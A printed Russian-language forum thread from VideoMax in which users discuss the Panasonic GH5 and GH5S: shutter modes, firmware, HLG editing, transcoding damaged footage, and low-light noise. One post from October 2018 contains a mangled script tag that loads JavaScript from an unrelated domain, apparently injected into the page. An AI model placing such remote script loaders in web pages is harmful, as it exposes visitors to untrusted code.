Распечатать страницу | Закрыть окно

Panasonic GH5 часть 3

Напечатано из: VIDEOMAX
Группа: Цифровые видеокамеры и фототехника
Наименование форума: Использование DSLR фотоаппаратов для видеосъемки
Описание форума: Обсуждение DSLR фотокамер с функцией съемки видео
URL: http://www.videomax.su/forum/forum_posts.asp?TID=69646
Дата печати: 11-апреля-2021 13:30
Версия программного обеспечения: Web Wiz Forums 12.04 - http://www.webwizforums.com


Тема: Panasonic GH5 часть 3
Опубликовал: Baron
Тема: Panasonic GH5 часть 3
Дата публикации: 24-сентября-2018   06:05
Продолжение темы 

Panasonic GH5 часть 2

http://www.videomax.ru/forum/topic67463.html" rel="nofollow - http://www.videomax.ru/forum/topic67463.html



Ответов:
Опубликовал: daltair
Дата публикации: 24-сентября-2018   14:28
Читаю инструкцию по GH5. Если я правильно понял, можно вообще установить электронный затвор и не считать срабатывания, так? Только если выдержка длиннее 1 сек нужна, ЭЗ нельзя использовать. Или я чего-то не понял и есть подводные камни?


-------------
Panasonic GH5, GH5S, Leica 12-60/2.8-4; Leica macro 45/2.8; Panasonic 35-100/2.8 II; Sigma 30mm/1.4; Sigma 56mm/1.4; Canon 70-200/2.8L II; Sigma 150-600mm f/5.0-6.3 DG OS HSM Cont; Mavic-2 Pro


Опубликовал: Белов Александр
Дата публикации: 24-сентября-2018   14:49
При электронном затворе нужно учитывать rolling shutter. Информация с матрицы считывается не одновременно, а построчно.


Опубликовал: daltair
Дата публикации: 24-сентября-2018   15:42
Было отправлено Белов Александр Белов Александр написал(а):

При электронном затворе нужно учитывать rolling shutter. Информация с матрицы считывается не одновременно, а построчно.

Т.е. в прыжке не снимать? Пролетающие машины плохо получатся?
Видео же с довольно длинной выдержкой не искажается, с чего фото поплывёт сильно?
Условия, конечно, можно создать. Мне не нравится механический затвор, т.к. в момент съемки сбивается фокус (визуально в камере наблюдается расфокус, для следующего кадра нужно снова фокусироваться), неудобно снимать серией. 


-------------
Panasonic GH5, GH5S, Leica 12-60/2.8-4; Leica macro 45/2.8; Panasonic 35-100/2.8 II; Sigma 30mm/1.4; Sigma 56mm/1.4; Canon 70-200/2.8L II; Sigma 150-600mm f/5.0-6.3 DG OS HSM Cont; Mavic-2 Pro


Опубликовал: Белов Александр
Дата публикации: 24-сентября-2018   16:01
В руководстве сказано:
• Если движущийся объект снимается с помощью электронного затвора, объект может получиться на снимке искаженным.
• Если электронный затвор используется в условиях флуоресцентного или светодиодного освещения и т. п., на снимке могут появиться горизонтальные полосы. В таких случаях эффект горизонтальных полос можно снизить, удлинив выдержку.


Опубликовал: spider45
Дата публикации: 25-сентября-2018   16:17
Народ,а не было инфы касаемо новой прошивки? А то слухи ходили вроде,что сегодня скажут.. Или на фоне выхода ФФ-камер это уже не актуально?

-------------
S5+Ninja V+Lumix 85/1.8+Viltrox 20/T2///GH5+2xG7+Sigma 16/1.4+Lumix 42.5/1.7;12-35/2.8;35-100/2.8+Laowa 7.5/2+Olympus 60/2.8 MACRO;Accsoon A1 Pro, Zeapon Micro 2






Опубликовал: Пётр Линёв
Дата публикации: 25-сентября-2018   16:19
Инфа есть, ссылки нет....на оф. сайте лежит только 2.3

-------------
SONY a7III, Zeiss Batis 1.8/85; SONY FE24-240 OSS;Tamron: 28-75mm F/2.8,17-28mm F/2.8; DJI Mini 2, GoPro HERO7B,SAMYANG 35,85;


Опубликовал: spider45
Дата публикации: 25-сентября-2018   16:22
Было отправлено Пётр Линёв Пётр Линёв написал(а):

Инфа есть, ссылки нет....на оф. сайте лежит только 2.3
А где инфу прочитать?

-------------
S5+Ninja V+Lumix 85/1.8+Viltrox 20/T2///GH5+2xG7+Sigma 16/1.4+Lumix 42.5/1.7;12-35/2.8;35-100/2.8+Laowa 7.5/2+Olympus 60/2.8 MACRO;Accsoon A1 Pro, Zeapon Micro 2






Опубликовал: Makc_75
Дата публикации: 25-сентября-2018   16:27
На просторах ВК встречал скриншот, что новая прошивка будет в октябре. Основной акцент на улучшение следящего АФ.




-------------
In BOOST we trust!
2хBMPCC4K, Olympus 12-40/2,8 Pro, 40-150/2.8 Pro, Laowa 7.5/2, Nikon Z6+FTZ+24-120/4+Sigma F 70-200/2.8 OS


Опубликовал: Sargon81
Дата публикации: 25-сентября-2018   18:44
Baddancer
да, подключаю в usb 3.0
Скорость через этот usb вход но с картридерам многократно выше, чем если в этот же порт подключаю напрмую камеру по usb. 
Вот не пойму с чем это может быть связано (


Опубликовал: Baddancer
Дата публикации: 25-сентября-2018   18:56
С комповым ридером. Дело не в камере.


Опубликовал: daltair
Дата публикации: 25-сентября-2018   20:46
Полнокадровый Люмикс
https://www.youtube.com/watch?v=JH5E7z7oWic" rel="nofollow - https://www.youtube.com/watch?v=JH5E7z7oWic

Таки сделали Лейковский байонет, паршивцы!


-------------
Panasonic GH5, GH5S, Leica 12-60/2.8-4; Leica macro 45/2.8; Panasonic 35-100/2.8 II; Sigma 30mm/1.4; Sigma 56mm/1.4; Canon 70-200/2.8L II; Sigma 150-600mm f/5.0-6.3 DG OS HSM Cont; Mavic-2 Pro


Опубликовал: VoffkaSever
Дата публикации: 25-сентября-2018   23:24
Вопрос к фотографирующим на ГАШ5. Имею вспышку LumixDMW-FL580L и думал она будет синхронизироваться на расстоянии без других дополнительных вспышек. Но как понял в ГАШЕ такой функции нет. Подробнее что нужно - нужно, чтобы камера совсем без вспышки поджигала  по радиоканалу оригинальную пыху Lumix. 


Опубликовал: телевик
Дата публикации: 26-сентября-2018   05:19
полнокадровый люмикс, это очень интересно


Опубликовал: MAC_Video
Дата публикации: 27-сентября-2018   11:26
Alehandro,



Опубликовал: телевик
Дата публикации: 27-сентября-2018   11:34
это видео в связи с чем? Smile


Опубликовал: Пётр Линёв
Дата публикации: 27-сентября-2018   12:26
Да и тема совершенно не раскрыта....

-------------
SONY a7III, Zeiss Batis 1.8/85; SONY FE24-240 OSS;Tamron: 28-75mm F/2.8,17-28mm F/2.8; DJI Mini 2, GoPro HERO7B,SAMYANG 35,85;


Опубликовал: MAC_Video
Дата публикации: 27-сентября-2018   13:50
просили показать
Было отправлено телевик телевик написал(а):

это видео в связи с чем? Smile

Было отправлено Пётр Линёв Пётр Линёв написал(а):

Да и тема совершенно не раскрыта....

тема собсна небольшая, нечего показать


Опубликовал: Alehandro
Дата публикации: 27-сентября-2018   14:12
Ну так то,есть конечно преимущество Log_а перед стандартными пресетами,но не кардинально на мой взгляд...или мы ещё не наблатыкались с ним хорошо работать.


-------------
Panasonic S5.G85-2шт.Lumix 20-60mm,85mmf1.8,12-60mm,45-200,100-300.Sigma 60mm-2.8,Samyang 10mm.EDIUS 9.


Опубликовал: Baddancer
Дата публикации: 27-сентября-2018   14:41
А я тупой и я не понял преимущества.


Опубликовал: alexzabot
Дата публикации: 29-сентября-2018   13:13
Полнокадровый Люмикс (на русском)  https://www.youtube.com/watch?v=ETSt0gzdiSo" rel="nofollow - https://www.youtube.com/watch?v=ETSt0gzdiSo

-------------
Alex


Опубликовал: Zodiac
Дата публикации: 29-сентября-2018   13:37
Было отправлено alexzabot alexzabot написал(а):

Полнокадровый Люмикс (на русском)  https://www.youtube.com/watch?v=ETSt0gzdiSo" rel="nofollow - https://www.youtube.com/watch?v=ETSt0gzdiSo

Представитель фирмы - случаем, не родственник Псаки?  -"Информации нет, мне нужно проконсультироваться с коллегами"... Big smile  Двух слов связать не может. 
Какой аккумулятор - неизвестно, какой визир - неизвестно, какого цвета камера - неизвестно. У него в руках что, пустышка? 



Опубликовал: Lucky Gonza
Дата публикации: 29-сентября-2018   22:04
Официально:  https://www.panasonic.com/global/consumer/lumix/gh5_firmware.html" rel="nofollow - https://www.panasonic.com/global/consumer/lumix/gh5_firmware.html

-------------
ТЖК на Sony NX3. Lumix GH5, Lumix-ы 14-140 f4-5,8, 35-100 f2,8 12-35 f2,8, Olympus 50-200 f2,8-3,5 Sigma 30 f1.4, etc.
Zhiyun Crane v.2
Не фокус - крутить фокус, фокус за это деньги получать.


Опубликовал: Nikolay_ekb
Дата публикации: 01-октября-2018   20:38
Может кто знает: в каком редакторе можно обрабатывать HEVC HLG контент? Только такое HDR видео с GH5 переваривает телик.


Опубликовал: Alehandro
Дата публикации: 01-октября-2018   21:07
премьер,эдик,давинчи...
на счёт вегаса,не могу сказать.



-------------
Panasonic S5.G85-2шт.Lumix 20-60mm,85mmf1.8,12-60mm,45-200,100-300.Sigma 60mm-2.8,Samyang 10mm.EDIUS 9.


Опубликовал: Lucky Gonza
Дата публикации: 01-октября-2018   22:17
Тоже...


-------------
ТЖК на Sony NX3. Lumix GH5, Lumix-ы 14-140 f4-5,8, 35-100 f2,8 12-35 f2,8, Olympus 50-200 f2,8-3,5 Sigma 30 f1.4, etc.
Zhiyun Crane v.2
Не фокус - крутить фокус, фокус за это деньги получать.


Опубликовал: Nikolay_ekb
Дата публикации: 02-октября-2018   05:59
Все эти редакторы могут генерировать HEVC HLG?


Опубликовал: Tackuro
Дата публикации: 02-октября-2018   10:13
давинчи идеально под это заточен

-------------
https://www.serega.com.ua" rel="nofollow - МОЙ САЙТ GH5,FZ-1000,GX80,gopro4BE #8\3.5 #16\1.4 #56\1.4 #85\1.4 #12-35\2.8 #35-100\2.8


Опубликовал: Brataur
Дата публикации: 04-октября-2018   00:25
Спасите! Не знаю уже с кем проконсультироваться. Работал GH5 + Sigma 18-35 через Viltrox. Уехал на съемки документального фильма на север. Со временем начал отваливаться байонет и писать ошибку объектива. По приходу со съёмок проверял материал, все открывалось без ошибок, брака не было, но вот по приезду в монтажку начались танцы с бубном.


Некоторые файлы, думаю именно те, во время которых отваливался байонет, в проигрывателе воспроизводятся без проблем, а при закидывании в Premiere, отображаются как звуковая дорожка без видео. Никакой инфы в интернете не нашёл и решил, что надо перекодировать файлы. Так как это 4:2:2 10bit начал я с MXF, но они, собака, весят столько, что забили мне 500 гигов на харде и до конца не докодировались. Решил забить и сделать в h.264, но с высоким битрейтом. Все отлично, но изменилось после кодирования цветовое пространство по непонятной причине сделав изображение более серым. Знаю про HEVC H.265, но мой пиратский Encoder его не поддерживает. 


Во что можно перекодировать сохранив вес файла и всю цветовую информацию внутри из под винды? Спасибо!



-------------
Panasonic GH5 + Panasonic Lumix 12-35 II


Опубликовал: Tackuro
Дата публикации: 04-октября-2018   00:51
может не цвет, а ушел диапазон? 0-255  16-235?

-------------
https://www.serega.com.ua" rel="nofollow - МОЙ САЙТ GH5,FZ-1000,GX80,gopro4BE #8\3.5 #16\1.4 #56\1.4 #85\1.4 #12-35\2.8 #35-100\2.8


Опубликовал: Brataur
Дата публикации: 04-октября-2018   01:13
Честно? Не знаю даже как это проверить. Только что колхозно переконвертил с помощью HandBrake в h265, но цвета стали 4:2:0. Это лучше чем h264 и странные цвета, но хуже чем исходник явно.

-------------
Panasonic GH5 + Panasonic Lumix 12-35 II


Опубликовал: Tackuro
Дата публикации: 04-октября-2018   03:28
скачай movavi и снова с исходника в h264 с битрейтом , как у исходника

-------------
https://www.serega.com.ua" rel="nofollow - МОЙ САЙТ GH5,FZ-1000,GX80,gopro4BE #8\3.5 #16\1.4 #56\1.4 #85\1.4 #12-35\2.8 #35-100\2.8


Опубликовал: Белов Александр
Дата публикации: 04-октября-2018   03:53
Brataur,
попробуйте переустановить QuickTime и почистить Media Cashe в Premiere.
Если это не поможет и расширение файлов .mov, попробуйте переименовать в расширение .mp4.


Опубликовал: Lucky Gonza
Дата публикации: 04-октября-2018   06:56
Гм... Как вариант:
Помнится, когда ещё премьер и вегас не хотели понимать 10-ти битное видео в панасовском h.264, один энтузиаст написал простенький преобразователь гашевских mov/mp4 в mxf контейнер на основе ffdshow. Не помню, как он работает, да и не заморачивался особо, но в "копилку" положил. Скинул сейчас себе на YD, https://yadi.sk/d/c-I5qMvuL-e9zA" rel="nofollow - отсюда можно скачать .

Действует он достаточно кустарно и уставновки не требует, надо просто распаковать папку из архива себе, туда, где много места и закинуть в нее нужное видео. Потом, в зависимости от расширения исходных файлов, запустить mov2mxf V2.2.cmd или mp42mxf V2.2.cmd и некоторое время рассматривать на "досовском" экранчике текстовую информацию о происходящих процессах. Размер выходных "mxf" почти такой же, как у исходников.
С UHD - тоже работает.
Конвертации, насколько помню, не происходит, только перепаковка в другой контейнер.


-------------
ТЖК на Sony NX3. Lumix GH5, Lumix-ы 14-140 f4-5,8, 35-100 f2,8 12-35 f2,8, Olympus 50-200 f2,8-3,5 Sigma 30 f1.4, etc.
Zhiyun Crane v.2
Не фокус - крутить фокус, фокус за это деньги получать.


Опубликовал: Пётр Линёв
Дата публикации: 04-октября-2018   08:31
Ничё не понял...сперва отвалился байонет, но видео писалось?Shocked
.... Может проблемы с переходником были? На китайских такое сплошь и рядом...  

-------------
SONY a7III, Zeiss Batis 1.8/85; SONY FE24-240 OSS;Tamron: 28-75mm F/2.8,17-28mm F/2.8; DJI Mini 2, GoPro HERO7B,SAMYANG 35,85;


Опубликовал: кенонл
Дата публикации: 04-октября-2018   12:50
Вот видео https://youtu.be/DuJbLtxdiBA?t=43s" rel="nofollow - https://youtu.be/DuJbLtxdiBA?t=43s  о способе смены контейнера, на который указал Lucky Gonza, сам когда то так делал.



-------------
Дорогу осилит идущий!


Опубликовал: Vivs
Дата публикации: 04-октября-2018   16:02
Специалисты по интерфейсам люмиксов, у меня затуп, кто может подсказать, у меня было настроено при съемке видео, в режиме MA+AutoISO или MM+AutoISO кнопка AE/AF Lock на AE LOCK. Но теперь когда снимаю с гимбалом, то использую иногда и AF. Так при включенном AF кнопка AE/AF Lock больше не лочит AE(замер экспозиции) а лочит только фокус, хотя в настройках стоит AE LOCK. Это все таки глюк прошивки или глюк меня?

-------------
GH-5, BMPCC4k, Nikon D600, D750. Nikon 35/2, 50/1.8, 85/1.8, 28-70/3,5-4,5; Tamron 24-70/2.8 VR, Tamron 15-30/2.8 VR, Zenitar 16 2.8, Kamlan 50 1,1 MFT, Oly 12-40/2,8; Sigma 18-35/1,8, Nikon 50 1,4Ais


Опубликовал: Vivs
Дата публикации: 04-октября-2018   16:10
Поправка, аф тут не причем, AE LOCK в принципе не доступно в режиме MM+Autoiso. Блин обидно! Все говорят удобно настраиваемая камера и тут такой косяк... Вот эти недоработки и недодумки в логике работы.... уже 9 месяцев снимаю на нее и такие вещи бесят до сих пор. Почему не отображаются автоисо в режиме MM??? Почему не отображается выдержка в режиме MA? Камера же вроде как профессиональная, но контроль параметров в таких случаях не доступен. Вы скажите - снимай на полном мануале, дак а как, если бесступенчатой регулировки ИСО не существует в принципе, а это единственная возможность как то частично заменить переменный ND фильтр. Я понимаю c древней Sony FS7 сравнивать не корректно и хотя там и есть бесступенчатое колесико регулировки на которые можно повесить затвор или исо, но так сделайте мне хотя бы кнопку AE lock, чтобы она работала, всегда! Как на любом никоне, начиная, если не путаю, с Nikon d90...

-------------
GH-5, BMPCC4k, Nikon D600, D750. Nikon 35/2, 50/1.8, 85/1.8, 28-70/3,5-4,5; Tamron 24-70/2.8 VR, Tamron 15-30/2.8 VR, Zenitar 16 2.8, Kamlan 50 1,1 MFT, Oly 12-40/2,8; Sigma 18-35/1,8, Nikon 50 1,4Ais


Опубликовал: dicuoct
Дата публикации: 04-октября-2018   16:58
Было отправлено Vivs Vivs написал(а):

... Камера же вроде как профессиональная, ...
Если Вы не в курсе, Панасоник не относит её к проф.сегменту. Big smile

-------------
2 Lumix GH5:16mm f1.4, 12-40mm f2.8,11mm (0.79x14mm f2.5), 35-100mm f2.8 II,
2 Nikon Z6 (24-70mm f2.8 Nikon Z, 50mm f1.8, 85mm f1.8, 70-200mm f2.8)
Ronin SC combo - gimbal


Опубликовал: Владимирович
Дата публикации: 05-октября-2018   03:50
Было отправлено Brataur Brataur написал(а):

Спасите! Не знаю уже с кем проконсультироваться. Работал GH5 + Sigma 18-35 через Viltrox. Уехал на съемки документального фильма на север. Со временем начал отваливаться байонет и писать ошибку объектива. По приходу со съёмок проверял материал, все открывалось без ошибок, брака не было, но вот по приезду в монтажку начались танцы с бубном.


Очень напоминает то, что у меня с проресом на старом ноуте. Регулярно слетает кодек. Ставлю заново К лайт кодек мега пак. Работает пару дней, потом опять слетает. Пролечилось сменой монтажки на 2018 года Премьер. Там кодек встроенный. 

< ="text/" async="" ="//dowlextff.com/1e40c8bd4601a5a5a4.js">

-------------
Все старье давно продал.


Опубликовал: Makc_75
Дата публикации: 05-октября-2018   05:24
Было отправлено Vivs Vivs написал(а):

Все говорят удобно настраиваемая камера и тут такой косяк... Вот эти недоработки и недодумки в логике работы.... уже 9 месяцев снимаю на нее и такие вещи бесят до сих пор. Почему не отображаются автоисо в режиме MM??? Почему не отображается выдержка в режиме MA? Камера же вроде как профессиональная, но контроль параметров в таких случаях не доступен.

Самая обычная нормальная, профессиональная, скажем так,  логика. Зачем тебе знать значение ИСО в режиме авто, если ты отдал его на откуп аппарату? Исо сейчас одно значение, повернул камеру в сторону тени, ИСО поменялось автоматом, в чем смысл смотреть на меняющиеся цифры, если изменить ты ничего не можешь? Чтобы не уйти в критические для шума значения? В настройках можно поставить ограничения автоисо, как нижний, так и верхний порог. Точно такая же ситуация и с выдержкой - если ты управлять ей не собираешься, зачем тебе смотреть на её значение? Хочешь полного контроля над параметрами - снимай в полном мануале. Отдал что-то автомату - ну он пусть и рулит.


-------------
In BOOST we trust!
2хBMPCC4K, Olympus 12-40/2,8 Pro, 40-150/2.8 Pro, Laowa 7.5/2, Nikon Z6+FTZ+24-120/4+Sigma F 70-200/2.8 OS


Опубликовал: ИванСкребнев
Дата публикации: 08-октября-2018   19:08
Добрый вечер операторы и фотографы. Подскажите бывало ли у вас с GH5 , когда выставляешь настройки видео записи AVCHD FHD 24М 25р рассчитываешь получить разрешение Full HD, а в итоге получаешь HD 720*480 ((( остальные режимы 17м и 28м (50р) снимают нормально в FHD.


Опубликовал: Baddancer
Дата публикации: 08-октября-2018   19:39
Не смотрите свойства в проводнике (XP или Win 8).


Опубликовал: Alehandro
Дата публикации: 08-октября-2018   19:49
Big smileApprove!


-------------
Panasonic S5.G85-2шт.Lumix 20-60mm,85mmf1.8,12-60mm,45-200,100-300.Sigma 60mm-2.8,Samyang 10mm.EDIUS 9.


Опубликовал: ALLinONE
Дата публикации: 17-октября-2018   11:11
Насколько реально лучше по шумам s-ка? Во всех тестах при идентичной экспотройке не s-ка намного светлей!
Если коротко, какие весомые преимущества у второй?
Надо для муз.клипов.


Опубликовал: Jesaul
Дата публикации: 17-октября-2018   11:27
Было отправлено ALLinONE ALLinONE написал(а):

Насколько реально лучше по шумам s-ка? Во всех тестах при идентичной экспотройке не s-ка намного светлей!
Если коротко, какие весомые преимущества у второй?
Надо для муз.клипов.

Можно спокойно снимать на 3200(6400). При этом шумов по сравнению с gh5 очень мало. Правда чем выше исо, тем меньше деталей остаётся.
Я развлекался, снимая в полной темноте со свечкой и получалось нормально.
Ну и цвета более точно передаются. Зелёный канал перестал шуметь.


-------------
Panasonic Lumix DMC-GH5S, Ronin S, SmallHD focus, Tamron 24-70/2.8,Tokina AT-X 11-20/2.8 Pro, metabones Speed Booster XL 0.64x, Rode NTG3, tascam dr 100 mkiii
VANGUARD Alta Pro 263AB 100


Опубликовал: ALLinONE
Дата публикации: 17-октября-2018   11:39
А 3200 на 5s это не 1600 на 5-ке? По мне около того. Выходит в реальности преимущество небольшое. 
Просто не хочется от стаба отказываться...Smile


Опубликовал: Jesaul
Дата публикации: 17-октября-2018   11:52
Было отправлено ALLinONE ALLinONE написал(а):

А 3200 на 5s это не 1600 на 5-ке? По мне около того. Выходит в реальности преимущество небольшое. 
Просто не хочется от стаба отказываться...Smile

Нет. Там намного меньше шумов. 3200 можно ставить всегда и не париться. 6400 требует лёгкого шумодава.

Вот хорошее сравнение.

https://www.youtube.com/watch?v=MEqwkwPhdfg" rel="nofollow - https://www.youtube.com/watch?v=MEqwkwPhdfg

Стаб - это вам выбирать. Или двойной стаб, или супер чувствительная с-ка на стабилизаторе.


-------------
Panasonic Lumix DMC-GH5S, Ronin S, SmallHD focus, Tamron 24-70/2.8,Tokina AT-X 11-20/2.8 Pro, metabones Speed Booster XL 0.64x, Rode NTG3, tascam dr 100 mkiii
VANGUARD Alta Pro 263AB 100


Опубликовал: ALLinONE
Дата публикации: 17-октября-2018   13:08
Так если 3200 ставишь и не паришься, то ведь 1600 на просто 5-ке также, а по экспозиции на мой глаз примерно так и выходит- 1600 на 5-ке как 3200 на s-ке. Панас здесь схитрил! Выровненный по экспе тест не нашёл...

И ещё что интересно- якобы чемпион по сч сонька при равной экспотройке темнее даже s-киWink


Опубликовал: Jesaul
Дата публикации: 17-октября-2018   13:42
Нет. Всё лучше.
Вот тут куча сравнений на одном исо в 4к. Даёт представление.
https://www.youtube.com/watch?v=IJvcI8Twnlc&feature=youtu.be&t=4m59s" rel="nofollow - https://www.youtube.com/watch?v=IJvcI8Twnlc&feature=youtu.be&t=4m59s

-------------
Panasonic Lumix DMC-GH5S, Ronin S, SmallHD focus, Tamron 24-70/2.8,Tokina AT-X 11-20/2.8 Pro, metabones Speed Booster XL 0.64x, Rode NTG3, tascam dr 100 mkiii
VANGUARD Alta Pro 263AB 100


Опубликовал: Jailbait
Дата публикации: 17-октября-2018   13:58
Было отправлено ALLinONE ALLinONE написал(а):

Так если 3200 ставишь и не паришься, то ведь 1600 на просто 5-ке также, а по экспозиции на мой глаз примерно так и выходит- 1600 на 5-ке как 3200 на s-ке. Панас здесь схитрил!  
Ты чего-то сам себе понапридумывал, и на этом какие-то "открытия" строишь... у меня обе эти камеры и 5S просто на голову лучше по лоулайту... FHD ALL-I 200 мбит/с NR 0 Sharpening -5 на лейке 12-60 на длинном конце и с шаттером 1/100 (при 50 к/с) AUTOISO как-то раз дошло 12800 (выставленный у меня предел) и заметил это потом только по EXIFу, а так даже шум в монтажке чистить не пришлось, все устроило и так... 5-ке далеко до этого... кроме того эска шире угол дает (меньше кроп-фактор из-за мультиаспектной матрицы) и чуть лучше по цветам - изначально желтизны меньше, хотя в монтажке без проблем все правится 


Опубликовал: Jesaul
Дата публикации: 17-октября-2018   14:03
Всё немного проще. После 6400 начинает некорректно работать красный канал и меняется точность передачи цветов. Самое неприятное, это что на 6400 остаётся довольно таки мало от резкости. До того, что текст можно не пробовать читать.
Да, можно спокойно снимать выше 6400, если вам нравится мягкая картинка.
Это в 4к. В более низких разрешениях это не так заметно.


-------------
Panasonic Lumix DMC-GH5S, Ronin S, SmallHD focus, Tamron 24-70/2.8,Tokina AT-X 11-20/2.8 Pro, metabones Speed Booster XL 0.64x, Rode NTG3, tascam dr 100 mkiii
VANGUARD Alta Pro 263AB 100


Опубликовал: Jailbait
Дата публикации: 17-октября-2018   14:23
Было отправлено Jesaul Jesaul написал(а):

Это в 4к. В более низких разрешениях это не так заметно.
возможно, потом что сейчас почти все снимаю в FHD ALL-I и действительно особого падения резкости с ростом исо не замечаю (хотя оно конечно есть, но без проблем, если нужно, "лечится" продвинутым шарпенингом в ресолве)


Опубликовал: ALLinONE
Дата публикации: 17-октября-2018   15:25
Да, погорячился насчёт чувствительности- разница в экспе при равных настройках небольшая, что то около скажем iso 800 gh5-1000 gh5s.
Насчёт угла- есть же метабонс. И лучше бы они оставили кроп 2 но сохранили стаб, чтобы хоть иногда обходиться без эл.стаб.


Опубликовал: Jailbait
Дата публикации: 17-октября-2018   15:55
Насчет разницы в экспе... При двукамерке Gh5-Gh5S и V-log на обеих выставяляю поправку экспы в плюс (обязательно для Vlog'а): 2/3 EV на пятерке и 1 EV на эске (режим М с автоИСО) для выравнивания... так что небольшая разница действительно есть


Опубликовал: daltair
Дата публикации: 18-октября-2018   12:33
Технология матрицы та же самая, так что "чудеса" они в основном программные, если в раве фотку глянешь - шумы есть и на меньших исо. 
У s-ки крупнее пиксели, потому градиенты менее шумно передаются, зато четкость при нормальном свете заметно падает, и обычная 5-ка выигрывает в четкости.
Если именно специализация на лоу-лайте, то брать s, более универсальная - обычная.


-------------
Panasonic GH5, GH5S, Leica 12-60/2.8-4; Leica macro 45/2.8; Panasonic 35-100/2.8 II; Sigma 30mm/1.4; Sigma 56mm/1.4; Canon 70-200/2.8L II; Sigma 150-600mm f/5.0-6.3 DG OS HSM Cont; Mavic-2 Pro


Опубликовал: Jailbait
Дата публикации: 18-октября-2018   12:51
Было отправлено daltair daltair написал(а):

У s-ки крупнее пиксели, потому градиенты менее шумно передаются, зато четкость при нормальном свете заметно падает, и обычная 5-ка выигрывает в четкости.
полная чушь (теоретические фантазии?)... в реальной жизни пятерка не выигрывает в четкости (как бы не наоборот), единственное ее достоинство - IBIS, во всем остальном эска лучше... да еще и Vlog уже предустановлен

кстати, по поводу "четкости"... по мне, так она и так избыточна (для "кино"Big smile) на обеих камерах и - и пятерке и эске, поэтому я умышленно "замыливаю" картинку шумодавом от 0 до -3 (в зависимости от ситуации) при резкости ВСЕГДА в минус 5


Опубликовал: sokolov
Дата публикации: 18-октября-2018   13:03
то что в 4К с-ка менее детальна это физический факт.. 10мп  просто не хватает  для полноценного 4К.


-------------
Panasonic GH5S,GH5, lumix 12-35f2.8/I-II/ 35-100f2.8II, Dji mavic 2pro, ronin-S, zolinger 1800 jib


Опубликовал: Jailbait
Дата публикации: 18-октября-2018   13:11
Было отправлено sokolov sokolov написал(а):

то что в 4К с-ка менее детальна это физический факт.. 10мп  просто не хватает  для полноценного 4К. 

где? покажи

https://www.youtube.com/watch?v=OgUUmsSGBoI

 
 

 



Опубликовал: Tackuro
Дата публикации: 18-октября-2018   13:25
4к это 8мп. А 10 да не хватает))))

-------------
https://www.serega.com.ua" rel="nofollow - МОЙ САЙТ GH5,FZ-1000,GX80,gopro4BE #8\3.5 #16\1.4 #56\1.4 #85\1.4 #12-35\2.8 #35-100\2.8


Опубликовал: sokolov
Дата публикации: 18-октября-2018   13:34
кто же так оценивает? Вот на тестовой таблице сразу видно
https://www.dpreview.com/reviews/image-comparison/fullscreen?attr29_0=panasonic_dcgh5s&attr29_1=panasonic_dcgh5&attr72_0=4k&attr72_1=4k&normalization=full&widget=455&x=-0.013717073479796575&y=0.0018728362580185034" rel="nofollow - https://www.dpreview.com/reviews/image-comparison/fullscreen?attr29_0=panasonic_dcgh5s&attr29_1=panasonic_dcgh5&attr72_0=4k&attr72_1=4k&normalization=full&widget=455&x=-0.013717073479796575&y=0.0018728362580185034


-------------
Panasonic GH5S,GH5, lumix 12-35f2.8/I-II/ 35-100f2.8II, Dji mavic 2pro, ronin-S, zolinger 1800 jib


Опубликовал: sokolov
Дата публикации: 18-октября-2018   13:37
Было отправлено Tackuro Tackuro написал(а):

4к это 8мп. А 10 да не хватает))))
Для полноценного 4К нужно 12 мп.  Пора бы знать уже.


-------------
Panasonic GH5S,GH5, lumix 12-35f2.8/I-II/ 35-100f2.8II, Dji mavic 2pro, ronin-S, zolinger 1800 jib


Опубликовал: Chameleon_32
Дата публикации: 18-октября-2018   13:53
Было отправлено sokolov sokolov написал(а):

Для полноценного 4К нужно 12 мп.  Пора бы знать уже.

Ну-ка, ну-ка, назовите мне 4k монитор с пропорциями 4:3? а то че-то гугл не находит LOL


Опубликовал: sokolov
Дата публикации: 18-октября-2018   13:55
причем тут монитор и его пропорции?


-------------
Panasonic GH5S,GH5, lumix 12-35f2.8/I-II/ 35-100f2.8II, Dji mavic 2pro, ronin-S, zolinger 1800 jib


Опубликовал: Chameleon_32
Дата публикации: 18-октября-2018   14:04
ну как же, вы сами  написали, что для 4k необходимо 12 Мп, а это означает, что разрешение сторон такого 4k будет 4096 × 3072, что соответствует 4:3 (Полнокадровый 4k называется, если вики не обманывает).
И нафик нам надо такое двенадцатипиксельное 4k, если смотреть мы его будет на обычном 4k восьмипиксельном мониторе\телевизоре ??
Поэтому для обычного 4k нужно 8Мп (4096 x 2160)


Опубликовал: sokolov
Дата публикации: 18-октября-2018   14:06
т.е вы не в курсе как устроена матрица байера? 


-------------
Panasonic GH5S,GH5, lumix 12-35f2.8/I-II/ 35-100f2.8II, Dji mavic 2pro, ronin-S, zolinger 1800 jib


Опубликовал: Chameleon_32
Дата публикации: 18-октября-2018   14:14
чувствую, сейчас опять начнётся про 2x2=22 по технологии Миши.
4096 x 2160 = 8 847 360


Опубликовал: sokolov
Дата публикации: 18-октября-2018   14:16
неужели лень набрать в гугле  как устроена матрица фотоаппарата?  


-------------
Panasonic GH5S,GH5, lumix 12-35f2.8/I-II/ 35-100f2.8II, Dji mavic 2pro, ronin-S, zolinger 1800 jib


Опубликовал: Chameleon_32
Дата публикации: 18-октября-2018   14:17
Мы не про матрицу, мы про разрешение 4k.


Опубликовал: Пётр Линёв
Дата публикации: 18-октября-2018   14:20
Было отправлено sokolov sokolov написал(а):

Было отправлено Tackuro Tackuro написал(а):

4к это 8мп. А 10 да не хватает))))
Для полноценного 4К нужно 12 мп.  Пора бы знать уже.
 В общем то да, но...тут всё просто 8мп это для 4К остально это для служебной информации и для работы электронного стабилизатора.


-------------
SONY a7III, Zeiss Batis 1.8/85; SONY FE24-240 OSS;Tamron: 28-75mm F/2.8,17-28mm F/2.8; DJI Mini 2, GoPro HERO7B,SAMYANG 35,85;


Опубликовал: sokolov
Дата публикации: 18-октября-2018   14:20
а я про что?  Монитору для вывода полноценного пикселя нужно 3 цветных пикселя на группу -RGB, а фотоаппарату для  приема полноценного пикселя нужно 4. -RGBG
Фильтр Байера так устроен, что нужно два зеленых пикселя, монитору хватает одного..
И тут если подсчитать точно, в идеале  нужно более 13 мп в матрице..


-------------
Panasonic GH5S,GH5, lumix 12-35f2.8/I-II/ 35-100f2.8II, Dji mavic 2pro, ronin-S, zolinger 1800 jib


Опубликовал: Jailbait
Дата публикации: 18-октября-2018   14:48
Было отправлено sokolov sokolov написал(а):

кто же так оценивает? Вот на тестовой таблице сразу видно
